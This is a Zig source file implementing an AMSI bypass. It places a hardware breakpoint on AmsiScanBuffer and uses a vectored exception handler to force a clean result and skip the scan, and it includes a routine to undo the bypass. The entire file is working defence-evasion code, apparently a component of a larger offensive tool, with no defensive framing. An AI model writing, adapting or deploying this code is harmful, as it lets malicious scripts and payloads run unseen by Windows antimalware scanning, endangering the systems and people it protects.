// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");

var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;

fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
    if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
        ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
    {
        ex.ContextRecord.Rax = 0;
        const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
        ex.ContextRecord.Rip = ret_addr;
        ex.ContextRecord.Rsp += 8;
        return win.EXCEPTION_CONTINUE_EXECUTION;
    }
    return win.EXCEPTION_CONTINUE_SEARCH;
}

pub fn patch_amsi() void {
    if (g_veh_handle != null) return;
    api.ensure();
    const load_w = api.amsi_load_library_w orelse return;
    const get_addr = api.amsi_get_proc_address orelse return;
    const veh = api.amsi_add_vectored_exception_handler orelse return;
    const cur_thread = api.amsi_get_current_thread orelse return;
    const set_ctx = api.amsi_set_thread_context orelse return;
    const suspend_thread = api.amsi_suspend_thread orelse return;
    const resume_thread = api.amsi_resume_thread orelse return;
    const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
    if (amsi == null) return;
    g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
    if (g_amsi_scan_addr == null) return;
    g_veh_handle = veh(1, amsi_veh_handler);
    const thread = cur_thread();
    var ctx = std.mem.zeroes(win.CONTEXT);
    ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
    ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
    ctx.Dr7 = (1 << 0);
    _ = suspend_thread(thread);
    _ = set_ctx(thread, &ctx);
    _ = resume_thread(thread);
}

// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
pub fn unpatch_amsi() void {
    if (g_veh_handle) |h| {
        if (api.amsi_remove_vectored_exception_handler) |remove| {
            _ = remove(h);
        }
        g_veh_handle = null;
    }

    if (api.amsi_get_current_thread) |cur_thread| {
        if (api.amsi_set_thread_context) |set_ctx| {
            if (api.amsi_suspend_thread) |suspend_t| {
                if (api.amsi_resume_thread) |resume_t| {
                    const thread = cur_thread();
                    var ctx = std.mem.zeroes(win.CONTEXT);
                    ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
                    ctx.Dr0 = 0;
                    ctx.Dr7 = 0;
                    _ = suspend_t(thread);
                    _ = set_ctx(thread, &ctx);
                    _ = resume_t(thread);
                }
            }
        }
    }
    g_amsi_scan_addr = null;
}
